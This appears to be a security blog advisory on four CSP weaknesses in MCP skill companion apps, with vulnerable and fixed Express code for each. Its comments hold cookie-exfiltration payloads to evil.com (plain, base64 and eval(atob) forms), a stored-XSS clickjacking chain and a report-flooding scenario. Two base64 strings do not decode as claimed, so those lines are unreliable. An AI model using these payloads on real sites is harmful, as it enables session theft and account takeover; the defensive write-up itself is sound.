← Blog

Claude skill CSP frame-ancestors bypass and report-uri exploitation — SA-SKL-CSP4

The frame-ancestors directive is the modern, CSP-based replacement for the X-Frame-Options header — but only when CSP is delivered as an HTTP response header. SA-SKL-CSP4 covers four patterns that neutralise framing controls and abuse reporting infrastructure: placing CSP in a <meta> tag silently drops frame-ancestors so the page remains embeddable regardless of the directive text; using frame-ancestors 'self' instead of 'none' opens a same-origin clickjacking path for any attacker with a foothold on the domain; leaving the /csp-report endpoint unthrottled enables disk and memory exhaustion via automated report flooding; and including data: in script-src permits base64-encoded scripts to execute from <script src="data:..."> and onerror/eval(atob(...)) injection chains.

By SkillAudit  |  7 Nov 2026

Why frame-ancestors and report-uri deserve separate attention

Most CSP guidance focuses on script-src and XSS prevention, leaving framing controls and reporting infrastructure as afterthoughts. The frame-ancestors directive is architecturally different from every other CSP directive: it is enforced by the browser that loads the framed page, not by the browser rendering the outer frame. This means it cannot be declared in a <meta> tag — a constraint that is defined in the CSP Level 2 specification but not enforced with any warning by browsers, making misconfiguration entirely silent. An MCP skill companion app that sets <meta http-equiv="Content-Security-Policy" content="frame-ancestors 'none'"> gets zero clickjacking protection while its developers believe the control is active.

The report-uri endpoint is a different attack surface entirely. It must be reachable by browsers — including unauthenticated browsers — to receive violation reports from third-party pages. That reachability, combined with the absence of rate limiting in most implementations, creates an availability attack vector that is entirely independent of any XSS or framing vulnerability. A single attacker machine can flood the endpoint with forged reports at network speed, consuming disk inodes if reports are written to flat files, or causing memory spikes if each report triggers a database INSERT on the main application server.

CSP4-001 — CSP delivered via meta tag silently ignores frame-ancestors

The HTML <meta http-equiv="Content-Security-Policy"> element is a convenient way to set a Content Security Policy without modifying server configuration. Browsers do parse and honour meta-delivered CSP for most directives — including script-src, default-src, and style-src. However, the CSP Level 2 specification explicitly excludes three directives from meta-delivered policies: frame-ancestors, report-uri, and sandbox. When a browser encounters frame-ancestors inside a meta CSP, it silently discards the directive. No error is thrown, no console warning is emitted, and the page remains fully embeddable in any cross-origin iframe. Developers who test the page by opening it directly in a browser and inspecting the meta tag see the directive text and assume it is active — but it is not.

The fix is straightforward: always deliver CSP as an HTTP response header. In Express, use helmet.contentSecurityPolicy() which sets the Content-Security-Policy header on every response. In Caddy, use a header directive in the site block. The <meta> tag approach should be removed entirely from the codebase to prevent future confusion. Additionally, pair the HTTP CSP frame-ancestors directive with the legacy X-Frame-Options: DENY header for older browser compatibility — Internet Explorer 11 does not support CSP frame-ancestors but does honour X-Frame-Options.

<!-- VULNERABLE — CSP set via meta tag; frame-ancestors is silently ignored -->
<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <!-- Developer believes this prevents iframe embedding -->
  <meta http-equiv="Content-Security-Policy"
        content="default-src 'self'; frame-ancestors 'none'; object-src 'none'">
  <!-- VULNERABLE: browser parses this CSP but drops frame-ancestors per spec.
       The page IS embeddable in any cross-origin iframe.
       No console warning. No error. Completely silent. -->
  <title>SkillAudit App</title>
</head>
<body>
  <!-- Attacker page on evil.com can embed this with:
       <iframe src="https://app.skillaudit.dev/settings"></iframe>
       The user sees the settings page inside evil.com and
       clicks on transparent overlaid buttons — classic clickjacking -->
</body>
</html>

// Express server — does not set any CSP header; relies on meta tag only
import express from 'express';
const app = express();

app.get('/', (req, res) => {
  // No res.setHeader('Content-Security-Policy', ...) call
  // No helmet() middleware
  // The meta tag in the HTML is the only CSP — and frame-ancestors in it has no effect
  res.sendFile('/public/index.html');
});
// FIXED — deliver CSP as HTTP header; remove meta tag; add X-Frame-Options fallback
import express from 'express';
import helmet from 'helmet';
import { randomBytes } from 'crypto';

const app = express();

// helmet.contentSecurityPolicy sets the Content-Security-Policy HTTP header on every response
app.use((req, res, next) => {
  const nonce = randomBytes(16).toString('base64');
  res.locals.cspNonce = nonce;

  // Frame-ancestors in an HTTP header is enforced — unlike in meta tags
  helmet.contentSecurityPolicy({
    directives: {
      defaultSrc:    ["'self'"],
      scriptSrc:     [`'nonce-${nonce}'`, "'strict-dynamic'"],
      objectSrc:     ["'none'"],
      baseUri:       ["'none'"],
      frameAncestors: ["'none'"], // Prevents all iframe embedding — delivered as HTTP header
    },
  })(req, res, next);
});

// Belt-and-suspenders: X-Frame-Options for IE 11 / legacy proxies that strip CSP headers
app.use(helmet.frameguard({ action: 'deny' })); // Sets X-Frame-Options: DENY

// Caddy equivalent (caddy.json or Caddyfile):
// header Content-Security-Policy "default-src 'self'; frame-ancestors 'none'; object-src 'none'"
// header X-Frame-Options "DENY"

// <!-- Remove meta CSP from all HTML templates: -->
// <!-- DELETE: <meta http-equiv="Content-Security-Policy" content="..."> -->
HIGH
SA-SKL-CSP4-001 — A Content-Security-Policy delivered via <meta http-equiv> silently drops the frame-ancestors directive per the CSP Level 2 specification — the page remains fully embeddable in cross-origin iframes regardless of the directive text — fix by removing meta CSP and delivering CSP exclusively as an HTTP response header via helmet.contentSecurityPolicy() in Express or a header directive in Caddy, and pair with X-Frame-Options: DENY for legacy browser support. Detection: SkillAudit scans HTML responses for <meta http-equiv="Content-Security-Policy"> containing frame-ancestors and verifies the corresponding HTTP response header is absent.

CSP4-002 — frame-ancestors 'self' allows same-site clickjacking

Using frame-ancestors 'self' restricts framing to same-origin pages — pages served from the same scheme, host, and port as the framed document. This is typically chosen by developers who want to prevent cross-origin clickjacking while still allowing the app to embed parts of itself in iframes. The problem is that 'self' encompasses the entire origin: every page, endpoint, and URL path on skillaudit.dev. If an attacker can inject HTML on any other path of the same origin — through a stored XSS payload on skillaudit.dev/comments, a user-controlled redirect that reflects HTML, or a file upload endpoint that serves HTML with Content-Type: text/html — they can serve an iframe-based clickjacking page from skillaudit.dev/evil.html that embeds the sensitive target page at skillaudit.dev/settings.

The correct default for most MCP skill companion apps is frame-ancestors 'none', which prevents all iframe embedding unconditionally. If the application genuinely requires same-origin embedding — for example, a widget system where the app hosts its own embeddable components — then frame-ancestors 'self' must be paired with a client-side framebusting check and explicit review of all HTML injection vectors on the same origin. Partial mitigations like same-site cookies or CSRF tokens do not prevent clickjacking because clickjacking exploits the browser's rendering of an already-authenticated page, not a forged request.

// VULNERABLE — frame-ancestors 'self' permits same-origin iframe embedding
// Any HTML injection on skillaudit.dev can embed the settings page in an iframe

import express from 'express';
import helmet from 'helmet';

const app = express();

// Developer chose 'self' to allow same-origin iframes (e.g. dashboard widgets)
app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc:    ["'self'"],
    scriptSrc:     ["'self'"],
    frameAncestors: ["'self'"], // VULNERABLE: attacker with XSS on any path of skillaudit.dev
                                 // can serve evil.html at skillaudit.dev/xss-vector that embeds
                                 // skillaudit.dev/settings/delete-account in an invisible iframe
  },
}));

// Another path on the same origin has a stored XSS vulnerability:
app.get('/comments', (req, res) => {
  // Stored user comments rendered without sanitization
  // Attacker stores: <script>document.write('<iframe src="/settings/delete-account"...')</script>
  res.send(renderUnsanitizedComments()); // Gives attacker a same-origin iframe page
});

// Clickjacking attack chain:
// 1. Attacker stores XSS payload at skillaudit.dev/comments
// 2. Payload renders an invisible iframe of skillaudit.dev/settings/delete-account
// 3. frame-ancestors 'self' allows it — both pages are on skillaudit.dev
// 4. User visits /comments, sees normal content, clicks what appears to be a button
// 5. Click lands on the hidden "Delete Account" button in the overlaid iframe
// FIXED — use frame-ancestors 'none'; add framebusting check for apps that need self-embedding
import express from 'express';
import helmet from 'helmet';
import { randomBytes } from 'crypto';

const app = express();

// Default: deny all framing unconditionally
app.use((req, res, next) => {
  const nonce = randomBytes(16).toString('base64');
  res.locals.cspNonce = nonce;

  helmet.contentSecurityPolicy({
    directives: {
      defaultSrc:    ["'self'"],
      scriptSrc:     [`'nonce-${nonce}'`, "'strict-dynamic'"],
      objectSrc:     ["'none'"],
      baseUri:       ["'none'"],
      frameAncestors: ["'none'"], // No iframe embedding from any origin including self
    },
  })(req, res, next);
});

app.use(helmet.frameguard({ action: 'deny' })); // X-Frame-Options: DENY as fallback

// If self-embedding is genuinely required for specific routes (e.g. /embed/widget):
// 1. Narrow frame-ancestors to the exact host(s) that need embedding, not 'self'
// 2. Add a client-side framebusting defence as belt-and-suspenders:
//    if (window.top !== window.self) { window.top.location = window.self.location; }
// 3. Explicitly audit every HTML-output endpoint on the same origin for injection vectors
// 4. Use Subresource Integrity on all embedded widget scripts

// NEVER rely on frame-ancestors 'self' as the sole clickjacking control when other
// HTML-output endpoints exist on the same origin without strict output encoding
HIGH
SA-SKL-CSP4-002 — frame-ancestors 'self' permits any page on the same origin to embed the app in an iframe — an attacker with HTML injection on any same-origin path (via XSS, reflected HTML, or an upload endpoint serving text/html) can mount a same-site clickjacking attack on sensitive actions such as account deletion, payment authorisation, or OAuth grant; fix by using frame-ancestors 'none' as the default and reserving same-origin embedding only for explicitly reviewed widget routes with accompanying client-side framebusting checks. Detection: SkillAudit flags frame-ancestors 'self' in HTTP CSP headers and cross-references all same-origin HTML-output paths for unsanitized injection vectors.

CSP4-003 — report-uri endpoint not rate-limited — disk and memory exhaustion

A CSP report-uri endpoint at /csp-report must be publicly reachable — browsers send violation reports from unauthenticated contexts, including third-party pages that have violated a policy protecting a cross-origin resource. This public reachability creates an availability attack surface. An attacker issues automated POST requests to https://app.skillaudit.dev/csp-report at 10,000 requests per second from a single machine, each request carrying a syntactically valid CSP violation report JSON body. If the handler writes each report to a rotating log file, inode exhaustion or disk space exhaustion follows within minutes depending on disk capacity. If the handler inserts each report into a database, connection pool exhaustion causes the main application to fail on all database-backed routes. If the handler stores reports in memory before batching them, heap exhaustion crashes the Node.js process.

The fix has four layers. First, rate limit the endpoint to 20 requests per IP per minute using a token bucket implementation backed by Redis (not in-memory, to survive process restarts and work across multiple server instances). Second, truncate all report fields to a maximum of 1 KB each before processing, since legitimate browser reports are compact and there is no value in accepting large payloads. Third, make all report writes asynchronous and buffer them behind a bounded queue — if the queue is full, drop incoming reports rather than blocking the event loop. Fourth, consider delegating report collection entirely to a third-party service such as report-uri.com or Sentry, which removes the endpoint from the application's attack surface altogether; in that case, replace report-uri with the Reporting API v1 report-to directive pointing to the external service.

// VULNERABLE — /csp-report endpoint with no rate limiting, no field truncation,
// synchronous log writes, and no queue depth limit

import express from 'express';
import fs from 'fs';

const app = express();

// No rate limiting middleware before this handler
app.post('/csp-report',
  express.json({ type: ['application/json', 'application/csp-report'] }),
  (req, res) => {
    const report = req.body?.['csp-report'] ?? req.body;

    // VULNERABLE 1: synchronous file write — blocks the event loop under load
    // VULNERABLE 2: no field size limit — attacker can send 100KB per report
    // VULNERABLE 3: no queue depth or disk usage check — disk exhaustion
    // VULNERABLE 4: no rate limit — 10,000 req/s from one IP is accepted
    fs.appendFileSync(
      '/var/log/csp-reports.json',
      JSON.stringify({ ...report, ts: Date.now() }) + '\n'
    );
    // If /var/log fills up: application log writes fail, DB writes fail, process may crash

    // Even worse pattern — storing in DB without connection pool protection:
    // await db.query('INSERT INTO csp_reports VALUES (?)', [JSON.stringify(report)]);
    // 10,000 req/s exhausts the DB connection pool immediately

    res.status(204).end();
  }
);
// FIXED — rate limited, field-truncated, async-buffered CSP report endpoint
import express from 'express';
import { createClient } from 'redis';
import { z } from 'zod';
import { createWriteStream } from 'fs';

const app = express();
const redisClient = createClient({ url: process.env.REDIS_URL });
await redisClient.connect();

// Bounded async write stream — reports are written off the request path
const reportStream = createWriteStream('/var/log/csp-reports.ndjson', { flags: 'a' });
let pendingWrites = 0;
const MAX_PENDING = 500; // Drop reports if buffer exceeds 500 — prevents memory exhaustion

// Redis token bucket: 20 reports per IP per minute
async function checkRateLimit(ip: string): Promise<boolean> {
  const key = `csp-rl:${ip}`;
  const count = await redisClient.incr(key);
  if (count === 1) await redisClient.expire(key, 60); // 60-second window
  return count <= 20; // Allow max 20 reports per IP per 60 seconds
}

// Schema with strict field length limits — no field exceeds 1 KB
const ReportField = z.string().max(1024).optional();
const CspReportSchema = z.object({
  'csp-report': z.object({
    'document-uri':        ReportField,
    'referrer':            ReportField,
    'violated-directive':  ReportField,
    'effective-directive': ReportField,
    'original-policy':     ReportField,
    'blocked-uri':         ReportField,
    'source-file':         ReportField,
    'line-number':         z.number().int().min(0).max(1_000_000).optional(),
    'column-number':       z.number().int().min(0).max(100_000).optional(),
    'status-code':         z.number().int().min(0).max(999).optional(),
  }).passthrough(),
}).passthrough();

app.post('/csp-report',
  express.json({ type: ['application/json', 'application/csp-report'], limit: '8kb' }), // Hard payload cap
  async (req, res) => {
    // Rate limit check first — cheap Redis operation before any parsing
    const clientIp = (req.headers['x-forwarded-for'] as string)?.split(',')[0]?.trim() ?? req.ip ?? 'unknown';
    const allowed = await checkRateLimit(clientIp);
    if (!allowed) return res.status(429).end();

    // Validate and truncate report fields
    const result = CspReportSchema.safeParse(req.body);
    if (!result.success) return res.status(400).end();

    // Async write — non-blocking, bounded queue depth
    if (pendingWrites < MAX_PENDING) {
      pendingWrites++;
      const line = JSON.stringify({ ...result.data['csp-report'], ts: Date.now(), ip: clientIp }) + '\n';
      reportStream.write(line, () => { pendingWrites--; });
    }
    // If buffer full: silently drop the report — availability beats completeness for log data

    res.status(204).end();
  }
);

// Alternative: delegate entirely to a third-party service and remove the endpoint
// CSP header: report-to csp-endpoint
// Report-To header: { "group": "csp-endpoint", "endpoints": [{ "url": "https://o123.ingest.sentry.io/api/xxx/security/?sentry_key=yyy" }] }
// This removes /csp-report from the application attack surface entirely
MEDIUM
SA-SKL-CSP4-003 — An unprotected report-uri endpoint with no rate limiting, no field size cap, and synchronous log writes can be flooded at thousands of requests per second by an unauthenticated attacker, causing disk exhaustion if reports are written to flat files, database connection pool exhaustion if reports trigger DB inserts, or memory exhaustion if reports are buffered in-process; fix by enforcing 20 req/IP/min via Redis token bucket, capping all report fields at 1 KB, writing reports asynchronously behind a bounded queue with drop-on-full semantics, and considering full delegation to a third-party report collection service. Detection: SkillAudit sends 60 synthetic reports per minute to the report endpoint from a single IP and flags endpoints that accept all requests without returning 429.

CSP4-004 — script-src includes data: URI — base64-encoded script execution

When data: appears in a Content-Security-Policy script-src directive, the browser permits scripts loaded via data: URI scheme. This directly enables inline JavaScript execution through <script src="data:text/javascript,alert(1)"> without triggering a CSP violation. The attack does not require the attacker to inject an inline <script> block — it only requires the ability to inject an attribute value or a src attribute. Base64 encoding provides an additional obfuscation layer: <script src="data:text/javascript;base64,YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="> executes alert(document.cookie) without any visible JavaScript text in the injected payload, bypassing naive WAF rules that look for alert or fetch literals.

A second exploitation path uses data: in combination with event handlers in environments where HTML injection is possible but <script> tags are stripped: <img src="x" onerror="eval(atob('ZmV0Y2goJ2h0dHBzOi8vZXZpbC5jb20vP2M9Jytkb2N1bWVudC5jb29raWUp'))"> does not use a data: URI for the img src but uses atob() to decode a base64 payload and pass it to eval(). While this particular vector relies on 'unsafe-eval' being present rather than data: in script-src, both issues are commonly co-present. The correct fix removes data: from script-src entirely. For applications that dynamically generate scripts — for example, bundled workers or configuration bootstraps — use URL.createObjectURL(new Blob([scriptContent], { type: 'text/javascript' })) combined with a nonce or hash for the initiating inline script, rather than a data: URI.

// VULNERABLE — script-src includes data: URI scheme
// Content-Security-Policy: script-src 'self' data:

import express from 'express';
const app = express();

app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    [
      "default-src 'self'",
      "script-src 'self' data:",      // data: in script-src = attacker can run arbitrary JS
      "img-src 'self' data: https:",
      "style-src 'self' 'unsafe-inline'",
      "object-src 'none'",
    ].join('; ')
  );
  next();
});

// Attack vector 1 — direct data: script tag injection via any HTML injection point:
// <script src="data:text/javascript,fetch('https://evil.com/?c='+document.cookie)"></script>
// Browser fetches the data: URI script — CSP allows it because 'data:' is in script-src

// Attack vector 2 — base64-encoded payload (bypasses WAF keyword filters):
// <script src="data:text/javascript;base64,ZmV0Y2goJ2h0dHBzOi8vZXZpbC5jb20vP2M9JytkbwoKbWVudC5jb29raWUp"></script>
// Decodes to: fetch('https://evil.com/?c='+document.cookie)
// WAF sees no plaintext JS keywords — CSP still allows it

// Attack vector 3 — via img onerror + eval(atob()) when 'unsafe-eval' is also present:
// <img src="x" onerror="eval(atob('ZmV0Y2goJ2h0dHBzOi8vZXZpbC5jb20vP2M9JytkbwoKbWVudC5jb29raWUp'))">
// eval() executes decoded base64 — both data: in script-src and 'unsafe-eval' enable this
// FIXED — remove data: from script-src; use Blob URL + nonce for dynamic scripts
import express from 'express';
import { randomBytes } from 'crypto';

const app = express();

app.use((req, res, next) => {
  const nonce = randomBytes(16).toString('base64');
  res.locals.cspNonce = nonce;

  res.setHeader(
    'Content-Security-Policy',
    [
      "default-src 'self'",
      // No data: anywhere — strict-dynamic + nonce eliminates the need for it
      `script-src 'nonce-${nonce}' 'strict-dynamic'`,
      "img-src 'self' https:",          // No data: in img-src either (removes SVG script vector)
      "style-src 'self'",               // No unsafe-inline
      "object-src 'none'",
      "base-uri 'none'",
      "require-trusted-types-for 'script'", // Prevents DOM XSS sinks from accepting strings
    ].join('; ')
  );
  next();
});

// For applications that need dynamic script generation (e.g. inline worker scripts),
// use Blob URLs + a nonced bootstrapper — never data: URIs:
//
// Server-side: inject the nonce into the script tag
// <script nonce="${res.locals.cspNonce}">
//   // Create a Blob URL for the dynamically generated worker content
//   const workerCode = `self.onmessage = (e) => self.postMessage(e.data * 2);`;
//   const blob = new Blob([workerCode], { type: 'text/javascript' });
//   const blobUrl = URL.createObjectURL(blob);             // blob: URL — not data:
//   const worker = new Worker(blobUrl);
//   URL.revokeObjectURL(blobUrl);                           // Release after use
// </script>
//
// Add blob: to worker-src if using blob URL workers:
// worker-src blob: 'self'
// This is narrower than data: in script-src and does not permit inline script execution

// For inline scripts with known content, use a hash instead of a nonce:
// <script integrity="sha256-HASH"> ... </script>
// script-src 'sha256-HASH' 'strict-dynamic'
// Hash-based allowlisting is immutable and survives nonce rotation
HIGH
SA-SKL-CSP4-004 — The data: URI scheme in script-src permits execution of <script src="data:text/javascript,PAYLOAD"> and base64-encoded variants like data:text/javascript;base64,BASE64 without a CSP violation, bypassing WAF rules that scan for plaintext JavaScript keywords; combined with 'unsafe-eval', it also enables eval(atob(...)) injection chains; fix by removing data: from all CSP directives, switching to strict-dynamic + per-request nonces, and using URL.createObjectURL(Blob) for any dynamic script content rather than data: URIs. Detection: SkillAudit flags Content-Security-Policy headers where script-src contains the data: token.

Detection summary

ID Severity Pattern Fix
CSP4-001 HIGH frame-ancestors in a <meta http-equiv="Content-Security-Policy"> tag — browsers silently drop the directive; page remains embeddable in any cross-origin iframe Deliver CSP as HTTP response header via helmet.contentSecurityPolicy(); remove meta CSP; add X-Frame-Options: DENY as fallback
CSP4-002 HIGH frame-ancestors 'self' — attacker with any same-origin HTML injection embeds the app in an iframe from skillaudit.dev/evil.html; enables clickjacking on sensitive actions Use frame-ancestors 'none' as default; restrict to specific host values only for explicitly reviewed embed routes; add client-side framebusting check
CSP4-003 MEDIUM No rate limit on /csp-report endpoint — 10,000 req/s flooding causes disk exhaustion (flat-file logging), DB connection pool exhaustion (DB-backed handler), or memory exhaustion (in-process buffer) 20 req/IP/min Redis token bucket; 1 KB field cap; async bounded-queue writes; consider delegating to third-party report service
CSP4-004 HIGH data: in script-src — allows <script src="data:text/javascript,PAYLOAD"> and base64-encoded data:text/javascript;base64,BASE64 script execution without CSP violation Remove data: from all CSP directives; use strict-dynamic + nonces; replace dynamic data: scripts with URL.createObjectURL(Blob)

Related patterns: SA-SKL-CSP3 covers JSONP endpoint bypasses, AngularJS 1.x allowlist injection, and missing report-to in MCP skill CSP policies. SkillAudit Blog includes in-depth writeups on clickjacking via frame-ancestors misconfiguration, CSP report endpoint abuse, and practical nonce injection patterns for Node.js skill servers.